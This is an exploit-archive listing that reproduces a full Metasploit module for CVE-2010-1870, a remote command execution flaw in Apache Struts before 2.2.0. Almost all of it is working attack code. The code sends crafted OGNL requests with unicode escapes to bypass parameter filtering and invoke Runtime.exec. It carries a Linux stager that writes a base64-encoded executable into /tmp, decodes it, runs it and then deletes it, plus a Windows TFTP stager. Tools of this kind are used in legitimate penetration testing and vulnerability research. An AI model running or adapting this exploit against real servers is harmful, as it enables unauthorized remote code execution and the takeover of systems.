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Apache Struts < 2.2.0 Remote Command Execution

Apache Struts < 2.2.0 Remote Command Execution
Posted Aug 19, 2011
Authored by Meder Kydyraliev, bannedit | Site metasploit.com

This Metasploit module exploits a remote command execution vulnerability in Apache Struts versions < 2.2.0. This issue is caused by a failure to properly handle unicode characters in OGNL extensive expressions passed to the web server. By sending a specially crafted request to the Struts application it is possible to bypass the "#" restriction on ParameterInterceptors by using OGNL context variables. Bypassing this restriction allows for the execution of arbitrary Java code.

tags | exploit, java, remote, web, arbitrary
advisories | CVE-2010-1870, OSVDB-66280
MD5 | bde580196763354b6003c3f35f903357

Apache Struts < 2.2.0 Remote Command Execution

Change Mirror Download
##
# $Id: struts_code_exec.rb 13586 2011-08-19 05:59:32Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::CmdStagerTFTP
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts < 2.2.0 Remote Command Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in
Apache Struts versions < 2.2.0. This issue is caused by a failure to properly
handle unicode characters in OGNL extensive expressions passed to the web server.

By sending a specially crafted request to the Struts application it is possible to
bypass the "#" restriction on ParameterInterceptors by using OGNL context variables.
Bypassing this restriction allows for the execution of arbitrary Java code.
},
'Author' =>
[
'bannedit', # metasploit module
'Meder Kydyraliev', # original public exploit
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 13586 $',
'References' =>
[
[ 'CVE', '2010-1870'],
[ 'OSVDB', '66280'],
[ 'URL', 'http://www.exploit-db.com/exploits/14360/' ],
],
'Platform' => [ 'win', 'linux'],
'Privileged' => true,
'Targets' =>
[
['Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
],
'DisclosureDate' => 'Jul 13 2010',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(8080),
OptString.new('URI', [ true, 'The path to a struts application action ie. /struts2-blank-2.0.9/example/HelloWorld.action', ""]),
OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ])
], self.class)
end

def execute_command(cmd, opts = {})
uri = Rex::Text::uri_encode(datastore['URI'])
var_a = rand_text_alpha_lower(4)
var_b = rand_text_alpha_lower(2)
var_c = rand_text_alpha_lower(4)
var_d = rand_text_alpha_lower(4)
var_e = rand_text_alpha_lower(4)

uri << "?(%27\\u0023_memberAccess[\\%27allowStaticMethodAccess\\%27]%27)(#{var_a})=true&"
uri << "(aaaa)((%27\\u0023context[\\%27xwork.MethodAccessor.denyMethodExecution\\%27]\\u003d\\u0023#{var_c}%27)(\\u0023#{var_c}\\u003dnew%20java.lang.Boolean(\"false\")))&"
uri << "(#{var_b})((%27\\u0023#{var_d}.exec(\"CMD\")%27)(\\u0023#{var_d}\\u003d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'win'
uri << "(asdf)(('\\u0023rt.exec(\"CMD\".split(\"@\"))')(\\u0023rt\\u003d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'linux'
uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd))

vprint_status("Attemping to execute: #{cmd}")

resp = send_request_raw({
'uri' => uri,
'version' => '1.1',
'method' => 'GET',
}, 5)
end

def windows_stager
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"

print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
execute_cmdstager({ :temp => '.'})
@payload_exe = payload_exe

print_status("Attempting to execute the payload...")
execute_command(@payload_exe)
end

def linux_stager
cmds = "/bin/sh@-c@echo LINE | tee FILE"
exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
base64 = Rex::Text.encode_base64(exe)
base64.gsub!(/\=/, "\\u003d")
file = rand_text_alphanumeric(4+rand(4))

execute_command("/bin/sh@-c@touch /tmp/#{file}.b64")
cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
base64.each_line do |line|
line.chomp!
cmd = cmds
cmd.gsub!(/LINE/, line)
execute_command(cmds)
end

execute_command("/bin/sh@-c@base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
execute_command("/bin/sh@-c@chmod +x /tmp/#{file}")
execute_command("/bin/sh@-c@rm /tmp/#{file}.b64")

execute_command("/bin/sh@-c@/tmp/#{file}")
@payload_exe = "/tmp/" + file
end

def on_new_session(client)
if target['Platform'] == 'linux'
print_status("deleting #{@payload_exe} payload file")
execute_command("/bin/sh@-c@rm #{@payload_exe}")
else
print_status("Windows does not allow running executables to be deleted")
print_status("delete the #{@payload_exe} file manually after migrating")
end
end

def exploit
if not datastore['CMD'].empty?
print_status("Executing user supplied command")
execute_command(datastore['CMD'])
return
end

case target['Platform']
when 'linux'
linux_stager
when 'win'
windows_stager
else
raise RuntimeError, 'Unsupported target platform!'
end

handler
end
end

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